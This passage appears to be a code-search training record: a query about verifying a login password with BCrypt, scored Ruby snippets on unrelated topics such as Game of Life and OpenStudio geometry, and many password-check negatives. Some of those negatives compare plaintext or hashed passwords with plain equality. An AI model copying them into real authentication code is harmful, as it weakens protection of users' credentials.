!(changed_board.include?(random_num))\n changed_board[i] = random_num\n break\n end\n end\n @feedback_board.state[i] = 1\n end\n end\n changed_board.each_with_index do |z, k|\n if z == nil\n loop do\n random_num = rand(1..@color_count).to_s\n if !(changed_board.include?(random_num)) && !(@guess_board.state.include?(random_num))\n changed_board[k] = random_num\n break\n end\n end\n end\n end\n @guess_board.state = changed_board\n end", "def shuffle_each_row\n t = clone_structure_without_skippables # Start with the constructor for OPMatrix\n\n skip_offset = 0\n\n # Create an array we can use for shuffling\n ary = (0...self.shape[1]).to_a\n\n (0...self.shape[0]).each do |i|\n\n if is_skippable?(i)\n skip_offset += 1\n next\n end\n\n row_size = self.yale_d(i) + self.yale_nd_row_size(i) # diagonal plus non-diagonal elements\n new_indices = ary.draw_without_replacement(row_size) # draw without replacement r elements from the index array\n\n new_i = i - skip_offset\n\n # Get non-diagonal indices and mark the diagonal if appropriate\n if new_indices.include?(new_i)\n t[new_i,new_i] = 1\n new_indices.delete(new_i)\n end\n\n # Fast-insert the indices in the Yale storage\n t.__yale_vector_set__(new_i, new_indices.to_a, [1]*new_indices.size)\n end\n\n return t # return the copy with the shuffled rows! Hooray!\n end", "def swim(index)\n end", "def mc(permutations = 99, seed = nil)\n # in this case, one tuple of vals is held constant, then\n # the rest are shuffled, so for crand we will pass in an arr\n # of indices, which will return a list of new orders for the fields.\n # They will then be shuffled corresponding to the new indices.\n rng = gen_rng(seed)\n rids = crand(permutations, rng)\n\n n_1 = weights.n - 1\n sparse = weights.sparse\n row_index = sparse.row_index\n ws = sparse.values\n wc = weights.wc\n stat_orig = stat\n\n ids = (0..n_1).to_a\n observations = Array.new(weights.n)\n (0..n_1).each do |idx|\n idsi = ids.dup\n idsi.delete_at(idx)\n idsi.shuffle!(random: rng)\n idsi = Numo::Int32.cast(idsi)\n sample = rids[idsi[rids[true, 0..wc[idx] - 1]]]\n\n # account for case where there are no neighbors\n row_range = row_index[idx]..(row_index[idx + 1] - 1)\n if row_range.size.zero?\n observations[idx] = permutations\n next\n end\n\n wi = Numo::DFloat.cast(ws[row_range])\n stat_i_new = mc_i(wi, sample, idx)\n stat_i_orig = stat_orig[idx]\n observations[idx] = mc_observation_calc(stat_i_orig, stat_i_new,\n permutations)\n end\n\n observations.map do |ri|\n (ri + 1.0) / (permutations + 1.0)\n end\n end", "def evolve\n\n new_state = Array.new(height) {Array.new(width)}\n\n (0...@height).each do |row|\n (0...@width).each do |cell|\n neighbors_alive = calculate_living_neighbors(row, cell)\n cell_value = @state[row][cell]\n\n if cell_value == 1 and (neighbors_alive < 2 or neighbors_alive > 3)\n new_state[row][cell] = 0\n elsif cell_value == 0 and neighbors_alive == 3\n new_state[row][cell] = 1\n else\n new_state[row][cell] = cell_value\n end\n end\n end\n @state = new_state\n end", "def train\n @badasspoints += 1\n end", "def initialize\n shuffle\n end", "def feed(data)\n input = []\n hidden = []\n @ilayer.each_index do |i|\n @ilayer[i].inputs = [data[i]]\n input[i] = @ilayer[i].activate\n end\n @hlayer.each_index do |h| \n @hlayer[h].inputs = input\n hidden[h] = @hlayer[h].activate\n end\n @olayer.each_index do |o| \n @olayer[o].inputs = hidden\n @output[o] = @olayer[o].activate\n end\n @output\n end", "def gameflow\n \n end", "def resample particles, weights\n\tw = weights\n\tp = particles\n\tn= weights.size\n\tp3 = [] \n\tindex = rand()*n\n\tbeta = 0.0\n\tmw = w.max()\n\tn.times do \n\t\tbeta += rand()*2*mw\n\t\twhile beta > w[index]\n\t\t\tbeta -= w[index]\n\t\t\tindex = (index + 1)% n\n\t\tend\n\t\tp3 << p[index]\n\tend\n\tp3\nend", "def resample particles, weights\n\tw = weights\n\tp = particles\n\tn= weights.size\n\tp3 = [] \n\tindex = rand()*n\n\tbeta = 0.0\n\tmw = w.max()\n\tn.times do \n\t\tbeta += rand()*2*mw\n\t\twhile beta > w[index]\n\t\t\tbeta -= w[index]\n\t\t\tindex = (index + 1)% n\n\t\tend\n\t\tp3 << p[index]\n\tend\n\tp3\nend", "def init_weight\n # (J, 1)\n @b = Matrix.columns([Array.new(@size) { 0.0 }])\n\n # (J, I)\n @W = Array.new(@J) do\n Array.new(@I) { Sabina::Utils.box_muller }\n end.tap { |ary| break Matrix[*ary] }\n end", "def replay_scenarios\n\t\tmdl_borne.apply_scenarios\n\tend", "def mine_sweeper(bombs, num_rows, num_cols)\n rows = []\n\n # 1) build the array\n for i in 0...num_rows\n cols = []\n for j in 0...num_cols\n cols << 0\n end\n rows << cols\n end\n\n # 2) assign bumbs\n for bomb in bombs\n i = bomb[0]\n j = bomb[1]\n rows[i][j] = -1\n end\n\n # 3) assign numbers in minesweeper\n for i in 0...num_rows\n for j in 0...num_cols\n if rows[i][j] == -1\n rows = assign_numbers(i, j, rows)\n end\n end\n end\n\n return rows\nend", "def initialize(x, y)\n\t\t@neurons = Array.new\n\t\tx.times do\n\t\t\tneuron = Array.new(y)\n\t\t\t\n\t\t\t#create random weights\n\t\t\tneuron.each_index do |weight|\n\t\t\t\tneuron[weight] = rand * 2.0 - 1.0\n\t\t\tend\n\t\t\t@neurons << neuron\n\t\tend\n\tend", "def redesign()\n\t\tr_maze= maze {|r,c| r_maze[r][c].to_i}\n\t\t(1..row-2).each {|r| (1..col-2).each {|c| r_maze[r][c] = Random.rand(2).to_s}}\n\t\treturn r_maze\n\tend", "def test_should_kill_with_more_than_3_neighbours\n @game.state = [[1,1,1],[1,1,1],[1,1,1]]\n after = @game.evolve\n assert_equal [[0,0,0],[0,0,0],[0,0,0]],after\n end", "def r2\n @n_predictors.times.inject(0) {|ac,i| ac+@coeffs_stan[i]* @matrix_y[i,0]} \n end", "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n total_ffa = OpenStudio.convert(runner.getDoubleArgumentValue(\"total_ffa\",user_arguments),\"ft^2\",\"m^2\").get\n living_height = OpenStudio.convert(runner.getDoubleArgumentValue(\"living_height\",user_arguments),\"ft\",\"m\").get\n num_floors = runner.getIntegerArgumentValue(\"num_floors\",user_arguments)\n aspect_ratio = runner.getDoubleArgumentValue(\"aspect_ratio\",user_arguments)\n res_units = runner.getIntegerArgumentValue(\"res_units\",user_arguments)\n building_type = runner.getStringArgumentValue(\"building_type\",user_arguments)\n \n if building_type == \"Duplex\" and res_units != 2\n runner.registerError(\"Building defined as a duplex but number of units entered is not two.\")\n return false\n end\n \n footprint = total_ffa / num_floors\n \n # calculate the dimensions of the building\n width = Math.sqrt(footprint / aspect_ratio)\n length = footprint / width \n\n units_per_floor = (res_units / num_floors).floor\n units_remainder = res_units - (num_floors * units_per_floor)\n unit_num = 1\n \n # create living zone\n living_zone = OpenStudio::Model::ThermalZone.new(model)\n living_zone.setName(Constants.LivingZone) \n \n for floor in (0..num_floors-1)\n \n z = living_height * floor\n \n sw_point = OpenStudio::Point3d.new(0,0,z)\n nw_point = OpenStudio::Point3d.new(0,width,z)\n ne_point = OpenStudio::Point3d.new(length,width,z)\n se_point = OpenStudio::Point3d.new(length,0,z) \n living_polygon = Geometry.make_polygon(sw_point, nw_point, ne_point, se_point)\n \n living_space = OpenStudio::Model::Space::fromFloorPrint(living_polygon, living_height, model)\n living_space = living_space.get\n living_space_name = Constants.LivingSpace(floor+1)\n living_space.setName(living_space_name)\n runner.registerInfo(\"Set #{living_space_name}.\")\n \n # set these to the living zone\n living_space.setThermalZone(living_zone) \n \n m = OpenStudio::Matrix.new(4,4,0)\n m[0,0] = 1\n m[1,1] = 1\n m[2,2] = 1\n m[3,3] = 1\n m[2,3] = z\n living_space.changeTransformation(OpenStudio::Transformation.new(m))\n \n first_unit = (floor * units_per_floor) + 1\n (first_unit...first_unit+units_per_floor).to_a.each do |unit_num|\n Geometry.set_unit_beds_baths_spaces(model, unit_num, [living_space])\n end\n \n end\n \n first_unit = res_units - units_remainder + 1\n spaces = model.getSpaces\n i = 0\n (first_unit..res_units).to_a.each do |unit_num|\n Geometry.set_unit_beds_baths_spaces(model, unit_num, [spaces[i]])\n i += 1\n end \n \n # Store dwelling unit information (for consistency with multifamily buildings)\n model.getBuilding.setStandardsNumberOfLivingUnits(res_units) \n \n return true\n\n end", "def seed; end", "def updateboard\n #scan through \n board_temp = []\n (0...@board.length).each do |iy|\n new_row = []\n (0...@board[iy].length).each do |ix|\n\n ## Following rules of Conway's GOL\n val = case neighbors([iy,ix])\n when 0, 1\n 0\n when 2\n @board[iy][ix]\n when 3 \n 1\n when 4,5,6,7,8\n 0 \n end\n new_row << val\n end\n board_temp << new_row\n end\n ## Replace board with new board, decided to use a new board because its \n ## confusing to update the existing board when considering neighbors\n @board = board_temp\n end", "def setup_mans(row,color)\n 3.times do\n @grid[row].each_index do |col|\n Piece.new(self, [row,col], color) if (row+col).odd?\n end\n row += 1\n end\n end", "def populate_round(hurdles, round_size_array, heats)\n #init counting variables\n hurdles_for_heat=[];heat_full=0;heat_counter=0;i=0\n#puts(\"round_size_array = \"+round_size_array.to_s+\"; N_hurdles=\"+hurdles.count.to_s)\n\n round_size_array.size.times do\n round_size_array[heat_counter].times do\n #add racer to heat array and increment heat_full\n hurdles_for_heat << hurdles[i]; heat_full+=1; i+=1\n #build a heat when enough racers are gathered\n if heat_full==round_size_array[heat_counter]\n heats[heat_counter].hurdles << hurdles_for_heat\n\n #allocate lanes for the new heat\n heats[heat_counter] = allocate_lanes(heats[heat_counter],hurdles.first.round)\n#lo gger.debug \"LANES return: \"+heats[heat_counter].heat_hurdles[0].lane.to_s\n #reset counting vars for the next heat\n hurdles_for_heat=[];heat_full=0;heat_counter+=1\n end\n end\n end\n\n#logger.debug \"round lane:\"+heats[0].heat_hurdles[0].lane.to_s\n return heats\n end", "def setup_easier\n (1...ROWS).each do |row|\n (1...COLUMNS).each do |col|\n set_neighbour_colour(col, row) if rand(-1...COLOR_TABLE.size) == -1\n end\n end\n end", "def model\n return Sketchup.active_model if not @rep\n @rep.model\nend", "def shuffle\n self.dup.shuffle!\n end", "def check_recycling_robot_model(model, sparse)\n model.check_transition_probabilities_sum\n assert_equal Set[], model.terminal_states\n\n assert_equal Set[:high, :low], Set[*model.states]\n assert_equal Set[:search, :wait], Set[*model.actions(:high)]\n assert_equal Set[:search, :wait, :recharge], Set[*model.actions(:low)]\n\n if sparse\n assert_equal [:low], model.next_states(:low, :wait)\n assert_equal [:high], model.next_states(:low, :recharge)\n assert_equal [:high], model.next_states(:high, :wait)\n else\n assert_equal Set[:high, :low], Set[*model.next_states(:low, :wait)]\n assert_equal Set[:high, :low], Set[*model.next_states(:low, :recharge)]\n assert_equal Set[:high, :low], Set[*model.next_states(:high, :wait)]\n end\n assert_equal Set[:high, :low], Set[*model.next_states(:low, :search)]\n assert_equal Set[:high, :low], Set[*model.next_states(:high, :search)]\n\n assert_equal 1 - @beta, model.transition_probability(:low, :search, :high)\n assert_equal @beta, model.transition_probability(:low, :search, :low)\n assert_equal 0, model.transition_probability(:low, :wait, :high)\n assert_equal 1, model.transition_probability(:low, :wait, :low)\n assert_equal 1, model.transition_probability(:low, :recharge, :high)\n assert_equal 0, model.transition_probability(:low, :recharge, :low)\n\n assert_equal @alpha, model.transition_probability(:high, :search, :high)\n assert_equal 1 - @alpha, model.transition_probability(:high, :search, :low)\n assert_equal 1, model.transition_probability(:high, :wait, :high)\n assert_equal 0, model.transition_probability(:high, :wait, :low)\n\n assert_equal @r_rescue, model.reward(:low, :search, :high)\n assert_equal @r_search, model.reward(:low, :search, :low)\n assert_equal @r_wait, model.reward(:low, :wait, :low)\n assert_equal 0, model.reward(:low, :recharge, :high)\n\n assert_equal @r_search, model.reward(:high, :search, :high)\n assert_equal @r_search, model.reward(:high, :search, :low)\n assert_equal @r_wait, model.reward(:high, :wait, :high)\n\n if sparse\n assert_nil model.reward(:low, :wait, :high)\n assert_nil model.reward(:low, :recharge, :low)\n assert_nil model.reward(:high, :wait, :low)\n else\n assert_equal @r_wait, model.reward(:low, :wait, :high)\n assert_equal 0, model.reward(:low, :recharge, :low)\n assert_equal @r_wait, model.reward(:high, :wait, :low)\n end\n end", "def draw\n stack.sample(7)\nend", "def build_gr(entities,r,t)\n\ngr_group = entities.add_group\n\norigin = Geom::Point3d.new(0,0,0)\nv1 = Geom::Vector3d.new($gr_width/2,0,0)\nv2 = Geom::Vector3d.new(0,0,$gr_width*$gr_pitch/12)\nv3 = Geom::Vector3d.new(0, $gr_length,0)\n\nf1 = gr_group.entities.add_face(origin,origin-v3,origin-v3+v2+v1,origin+v2+v1)\nf1.material = $roofColor\nf2 = gr_group.entities.add_face(origin-v3+v2+v1,origin+v2+v1, origin+v1+v1, origin+v1+v1-v3)\nf2.material = $roofColor\n\nif($gr_wall[1] == 2)\n\tf5 = gr_group.entities.add_face([0,-$gr_length,0],[6, -$gr_length,0],[6, 6-$gr_length,0],[0,6-$gr_length,0])\n\tf5.pushpull $gr_height\n\tf6 = gr_group.entities.add_face([$gr_width,-$gr_length,0],[$gr_width-6, -$gr_length,0],[$gr_width-6, 6-$gr_length,0],[$gr_width,6-$gr_length,0])\n\tf6.pushpull $gr_height\nend\n\nif($gr_wall[0] == 1)\n\tf3 = gr_group.entities.add_face([0,0,0],[0,0,-$gr_height],[0,-$gr_length, -$gr_height],[0, -$gr_length,0])\n\tf3.material = $wallColor\nend\n\nif($gr_wall[2] == 1)\n\tf3 = gr_group.entities.add_face([$gr_width,0,0],[$gr_width,0,-$gr_height],[$gr_width,-$gr_length, -$gr_height],[$gr_width, -$gr_length,0])\n\tf3.material = $wallColor\nend\n\nentities.transform_entities r, gr_group\nentities.transform_entities t, gr_group\n\nend", "def robin; end", "def run\n failed_attempts = 0\n failed_white_attempts = 0\n x = 0\n y = 0\n loop do\n # If white just sail through until we hit another color\n if @current_color == 1\n x_next, y_next = move_direction(x, y)\n\n # If in white and hit boundary or black then step through dp\n if restricted?(x_next, y_next)\n toggle_cc\n step_dp\n failed_white_attempts += 1\n else\n x = x_next\n y = y_next\n @current_color = @image.color(x, y)\n failed_attempts = 0\n failed_white_attempts = 0\n end\n\n break if failed_white_attempts == 4\n else\n @size = 0\n temp_x = x\n temp_y = y\n x, y, @size = block_fill(x, y)\n # puts \"CURR: #{temp_x+1}, #{temp_y+1}, NEXT: #{x+1}, #{y+1}\"\n x_next, y_next = move_direction(x, y)\n # If we are hitting the edge or a black codel try another direction\n if restricted?(x_next, y_next)\n update_movement(failed_attempts)\n failed_attempts += 1\n else # here we move into the next color block after processing the action\n next_color = @image.color(x_next, y_next)\n process_action(@current_color, next_color)\n x = x_next\n y = y_next\n @current_color = next_color\n failed_attempts = 0\n failed_white_attempts = 0\n end\n\n break if failed_attempts == 8\n end\n end\n end", "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n facades = [Constants.FacadeFront, Constants.FacadeBack, Constants.FacadeLeft, Constants.FacadeRight]\n\t\n wwr = {}\n wwr[Constants.FacadeFront] = runner.getDoubleArgumentValue(\"front_wwr\",user_arguments)\n wwr[Constants.FacadeBack] = runner.getDoubleArgumentValue(\"back_wwr\",user_arguments)\n wwr[Constants.FacadeLeft] = runner.getDoubleArgumentValue(\"left_wwr\",user_arguments)\n wwr[Constants.FacadeRight] = runner.getDoubleArgumentValue(\"right_wwr\",user_arguments)\n aspect_ratio = runner.getDoubleArgumentValue(\"aspect_ratio\",user_arguments)\n\n # Remove existing windows and store surfaces that should get windows by facade\n surfaces = {Constants.FacadeFront=>[], Constants.FacadeBack=>[],\n Constants.FacadeLeft=>[], Constants.FacadeRight=>[]}\n Geometry.get_finished_spaces(model.getSpaces).each do |space|\n space.surfaces.each do |surface|\n next if not (surface.surfaceType.downcase == \"wall\" and surface.outsideBoundaryCondition.downcase == \"outdoors\")\n next if (90 - surface.tilt*180/Math::PI).abs > 0.01 # Not a vertical wall\n win_removed = false\n surface.subSurfaces.each do |sub_surface|\n next if sub_surface.subSurfaceType.downcase != \"fixedwindow\"\n sub_surface.remove\n win_removed = true\n end\n if win_removed\n runner.registerInfo(\"Removed fixed window(s) from #{surface.name}.\")\n end\n facade = Geometry.get_facade_for_surface(surface)\n next if facade.nil?\n surfaces[facade] << surface\n end\n end\n \n # error checking\n if wwr[Constants.FacadeFront] < 0 or wwr[Constants.FacadeFront] >= 1\n runner.registerError(\"Front window-to-wall ratio must be greater than or equal to 0 and less than 1.\")\n return false\n end\n if wwr[Constants.FacadeBack] < 0 or wwr[Constants.FacadeBack] >= 1\n runner.registerError(\"Back window-to-wall ratio must be greater than or equal to 0 and less than 1.\")\n return false\n end\n if wwr[Constants.FacadeLeft] < 0 or wwr[Constants.FacadeLeft] >= 1\n runner.registerError(\"Left window-to-wall ratio must be greater than or equal to 0 and less than 1.\")\n return false\n end\n if wwr[Constants.FacadeRight] < 0 or wwr[Constants.FacadeRight] >= 1\n runner.registerError(\"Right window-to-wall ratio must be greater than or equal to 0 and less than 1.\")\n return false\n end \n if aspect_ratio <= 0\n runner.registerError(\"Window Aspect Ratio must be greater than 0.\")\n return false\n end\n \n if wwr[Constants.FacadeFront] == 0 and wwr[Constants.FacadeFront] == 0 and wwr[Constants.FacadeFront] == 0 and wwr[Constants.FacadeFront] == 0\n runner.registerFinalCondition(\"No windows added because all window-to-wall ratios were set to 0.\")\n return true\n end\n \n # Split any surfaces that have doors so that we can ignore them when adding windows\n facades.each do |facade|\n surfaces_to_add = []\n surfaces[facade].each do |surface|\n next if surface.subSurfaces.size == 0\n new_surfaces = surface.splitSurfaceForSubSurfaces\n new_surfaces.each do |new_surface|\n next if new_surface.subSurfaces.size > 0\n surfaces_to_add << new_surface\n end\n end\n surfaces_to_add.each do |surface_to_add|\n surfaces[facade] << surface_to_add\n end\n end\n \n # Default assumptions\n min_single_window_area = 5.333 # sqft\n max_single_window_area = 12.0 # sqft\n window_gap_y = 1.0 # ft; distance from top of wall\n window_gap_x = 0.2 # ft; distance between windows in a two-window group\n min_wall_height_for_window = Math.sqrt(max_single_window_area * aspect_ratio) + window_gap_y * 1.05 # allow some wall area above/below\n min_window_width = Math.sqrt(min_single_window_area / aspect_ratio) * 1.05 # allow some wall area to the left/right\n \n # Calculate available area for each wall, facade\n surface_avail_area = {}\n facade_avail_area = {}\n facades.each do |facade|\n facade_avail_area[facade] = 0\n surfaces[facade].each do |surface|\n if not surface_avail_area.include? surface\n surface_avail_area[surface] = 0\n end\n area = get_wall_area_for_windows(surface, min_wall_height_for_window, min_window_width, runner)\n surface_avail_area[surface] += area\n facade_avail_area[facade] += area\n end\n end\n \n surface_window_area = {}\n facades.each do |facade|\n \n # Initialize\n surfaces[facade].each do |surface|\n surface_window_area[surface] = 0\n end\n \n # Calculate target window area for this facade\n wall_area = 0\n surfaces[facade].each do |surface|\n wall_area += OpenStudio.convert(surface.grossArea, \"m^2\", \"ft^2\").get\n end\n target_window_area = wall_area * wwr[facade]\n \n next if target_window_area == 0\n \n if target_window_area < min_single_window_area\n # If the total window area for the facade is less than the minimum window area,\n # set all of the window area to the surface with the greatest available wall area\n surface = my_hash.max_by{|k,v| v}[0]\n surface_window_area[surface] = target_window_area\n next\n end\n \n # Initial guess for wall of this facade\n surfaces[facade].each do |surface|\n surface_window_area[surface] = surface_avail_area[surface] / facade_avail_area[facade] * target_window_area\n end\n \n # If window area for a surface is less than the minimum window area, \n # set the window area to zero and proportionally redistribute to the\n # other surfaces.\n surfaces[facade].each_with_index do |surface, surface_num|\n next if surface_window_area[surface] >= min_single_window_area\n \n removed_window_area = surface_window_area[surface]\n surface_window_area[surface] = 0\n \n # Future surfaces are those that have not yet been compared to min_single_window_area\n future_surfaces_area = 0\n surfaces[facade].each_with_index do |future_surface, future_surface_num|\n next if future_surface_num <= surface_num\n future_surfaces_area += surface_avail_area[future_surface]\n end\n next if future_surfaces_area == 0\n \n surfaces[facade].each_with_index do |future_surface, future_surface_num|\n next if future_surface_num <= surface_num\n surface_window_area[future_surface] += removed_window_area * surface_window_area[future_surface] / future_surfaces_area\n end\n end\n \n # Because the above process is calculated based on the order of surfaces, it's possible\n # that we have less area for this facade than we should. If so, redistribute proportionally\n # to all surfaces that have window area.\n sum_window_area = 0\n surfaces[facade].each do |surface|\n sum_window_area += surface_window_area[surface]\n end\n next if sum_window_area == 0\n surfaces[facade].each do |surface|\n surface_window_area[surface] += surface_window_area[surface] / sum_window_area * (target_window_area - sum_window_area)\n end\n \n end\n \n tot_win_area = 0\n facades.each do |facade|\n surfaces[facade].each do |surface|\n next if surface_window_area[surface] == 0\n if not add_windows_to_wall(surface, surface_window_area[surface], window_gap_y, window_gap_x, aspect_ratio, max_single_window_area, facade, model, runner)\n return false\n end\n tot_win_area += surface_window_area[surface]\n end\n end\n \n runner.registerFinalCondition(\"The building has been assigned #{tot_win_area.round(1)} ft^2 total window area.\")\n \n return true\n\n end", "def render_walls\n outputs.solids << grid.walls.map do |key, value|\n scale_up(key).merge(wall_color)\n end\n end", "def weight(connections)\n\t\tweight_array=Array.new\n\t\tfor x in 0...connections.size \n\t\tweight_array[x]=(rand() * (rand(3)-1))\n\t\tend\n\t\t@weights = weight_array\n\tend", "def weight; end", "def pooling(oaf_data_ref, instances)\n\t\t\t\t\t\tobj_states = oaf_data_ref[:object_states].deep_dup\n\t\t\t\t\t\t#STDERR.puts __LINE__\n\t\t\t\t\t\t#STDERR.puts oaf_data_ref[:class_list]\n\t\t\t\t\t\tfor instance in instances do\n\t\t\t\t\t\t\tlikelihood = instance[:class_likelihood]\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tlog_error \"different length of class_likelihood and class_list\" unless likelihood.size == oaf_data_ref[:class_list].size\n\t\t\t\t\t\t\tprob_diff = instance[:action][:grabbed].to_f - instance[:action][:released].to_f\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tfor i in 0...likelihood.size do\n\t\t\t\t\t\t\t\tclass_id = oaf_data_ref[:class_list][i]\n\t\t\t\t\t\t\t\tl = likelihood[i]\n\t\t\t\t\t\t\t\tprob_in_hand = obj_states[class_id]\n\t\t\t\t\t\t\t\tSTDERR.puts __LINE__\n\t\t\t\t\t\t\t\tSTDERR.puts class_id\n\t\t\t\t\t\t\t\tSTDERR.puts l\n\t\t\t\t\t\t\t\tSTDERR.puts prob_diff\n\t\t\t\t\t\t\t\tSTDERR.puts prob_in_hand\n\t\t\t\t\t\t\t\t# P(prob_in_hand^t_c)=P(c|blob)P(prob_in_hand^{t-1}_blob)\n\t\t\t\t\t\t\t\t# YOU NEED TO DESIGN AN APPROPRIATE POOLING FUNCTION!!!\n\t\t\t\t\t\t\t\tobj_states[class_id] = prob_in_hand + (l*prob_diff)\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tSTDERR.puts obj_states\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\t# prob_in_hand must be in [0,1]\n\t\t\t\t\t\tfor id, prob in obj_states do\n\t\t\t\t\t\t\tobj_states[id] = [[1,prob].min,0].max\n\t\t\t\t\t\tend\t\t\t\t\t\n\n\t\t\t\t\t\treturn obj_states\n\t\t\t\tend", "def anything\n EDGE_LIST.each do |record|\n from, to, weight = record\n @adj_matrix[from.id][to.id] = weight\n @adj_matrix[to.id][from.id] = weight\n end\n end", "def step\n new_board = Array.new(@size) { Array.new(@size, false) }\n\n (0...@size).each do |x|\n (0...@size).each do |y|\n new_board[x][y] = compute_cell_fate(x, y)\n end\n end\n\n @board = new_board\n end", "def build_board\n @original_board\n @working_board.collect! { |row|\n row.collect! { |cell|\n cell = @original_board.shift\n }\n }\n @working_board\n end", "def cheap_broadcast; end" ]
[ "0.57930696", "0.5552664", "0.5537244", "0.5408959", "0.5396827", "0.53782517", "0.52675444", "0.52124196", "0.51471466", "0.51403415", "0.513921", "0.513054", "0.51225716", "0.50838363", "0.5014164", "0.5004037", "0.5001946", "0.4999097", "0.49673748", "0.49036282", "0.48953813", "0.4887588", "0.48844627", "0.48804373", "0.48690426", "0.48601016", "0.48566654", "0.48439896", "0.481637", "0.481637", "0.48148647", "0.4803708", "0.48022744", "0.47926572", "0.47812095", "0.47682178", "0.4764752", "0.4745045", "0.47421524", "0.47413948", "0.47383693", "0.47341862", "0.4732586", "0.47218126", "0.47212282", "0.47183284", "0.47183284", "0.47155645", "0.4714229", "0.4714229", "0.4714229", "0.4714229", "0.47121552", "0.46971458", "0.46905944", "0.46868557", "0.46836457", "0.46783793", "0.46775916", "0.46637762", "0.46631983", "0.4662992", "0.46624845", "0.46604323", "0.4658274", "0.46542117", "0.46439308", "0.46383658", "0.46293154", "0.4627863", "0.46273503", "0.46273503", "0.4625267", "0.46218103", "0.4619001", "0.461231", "0.46113917", "0.4608072", "0.46029407", "0.4600001", "0.45952335", "0.4594464", "0.4593299", "0.4590352", "0.45851034", "0.45844865", "0.45735288", "0.4572423", "0.4571357", "0.45628864", "0.45614222", "0.45538625", "0.45508942", "0.45421034", "0.45402732", "0.45329425", "0.45325643", "0.45201337", "0.45182317", "0.45145813", "0.4512697" ]
0.0
-1
instance method to check if the password from login form is identical to the password saved during sign up
def authenticate(password) BCrypt::Password.new(self.password_digest) == password end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def hasSamePassword?(submittedPassword)\n encrypted_password == encryptUsingSalt(submittedPassword)\n end", "def password_match?\n self.password == self.password_confirmation\n end", "def has_password?(submitted_password)\n self.password == encrypt(submitted_password)\n end", "def passwords_match?\n context.user.password == context.password\n end", "def has_password?(submitted_password)\n\tpassword == encrypt(submitted_password) \n end", "def password_match?(login_password)\n\t\tencrypted_password == encrypt(login_password)\t\n\tend", "def has_password?(submitted_password)\n password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def matching_password?(pass)\n self.password_hash == encrypt_password(pass)\n end", "def has_password?(submitted_password)\r\n encrypted_password == encrypt(submitted_password)\r\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n self.encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def correct_password?(params)\n self.current_password = params[:user][:current_password]\n self.password == self.current_password\n end", "def password_changed?\n orig_pw_hash = self.instance_variable_get(:@old_password_hash)\n self.new_record? || (!orig_pw_hash.nil? && orig_pw_hash != self.password_hash)\n end", "def password_confirmed?\n params[:password] != params[:user][:password]\n end", "def has_password?(submitted_password)\n\tencrypted_password == encrypt(submitted_password)\nend", "def password_changed?\n !@new_password.blank?\n end", "def password_changed?\n !@new_password.blank?\n end", "def correct_password?(params)\n current_password=params[:user][:current_password]\n password == current_password\n end", "def passwords_equal? #defines method for comparing :password and :confirm_password\n \t@errors.add(:password, \": The passwords do not match\") if self.password != self.confirm_password\n end", "def match_password(login_password=\"\")\n password == BCrypt::Engine.hash_secret(login_password, salt)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n #compare encrypted_password with the encrypted version of submitted password.\n password == submitted_password\n end", "def password_match? password\n\t\tBCrypt::Password.new(@password) == password\n\tend", "def check_password!\n if self.password != password_confirmation\n false\n end \n end", "def new_password?\n @new_password == true\n end", "def password_match?(entered_password = '')\n password == User.hash_with_salt(entered_password, salt)\n end", "def password_match?\n add_password_match_error if password != password_confirmation\n\n password == password_confirmation && !password.blank?\n end", "def password_match?(password=\"\")\n hashed_password == AdminUser.hash_with_salt(password, salt)\n end", "def password_match?(password=\"\")\n hashed_password == AdminUser.hash_with_salt(password, salt)\n end", "def has_password? (submitted_password)\n password_digest == encrypt(submitted_password)\n end", "def password_match?( password=\"\")\n hashedPassword == Admin.hash_with_salt(password, salt)\n end", "def valid_password?(password); end", "def password_changed?\n !@new_password.blank?\n end", "def password_changed?\n !password.blank?\n end", "def has_password?( submitted_password )\n encrypted_password == encrypt( submitted_password )\n end", "def has_password?(submitted_password)\n # Compare encrypted password with the encrypted version of\n # Submitted password\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n # compare encrypted_password with the encrypted version of submitted_password\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n # Return true if the user's password matches the submitted password.\n # Compare encrypted_password with the encrypted version of submitted_password\n encrypted_password == encrypt(submitted_password) \n end", "def auth_pass(password)\n BCrypt::Password.create(password) == self.hash_pass\n end", "def has_password?(submitted_password)\n valid_password?(submitted_password)\n end", "def password_match?(password=\"\")\n hashed_password == User.hash_with_salt(password, salt)\n end", "def password_match?(password=\"\")\n hashed_password == User.hash_with_salt(password, salt)\n end", "def 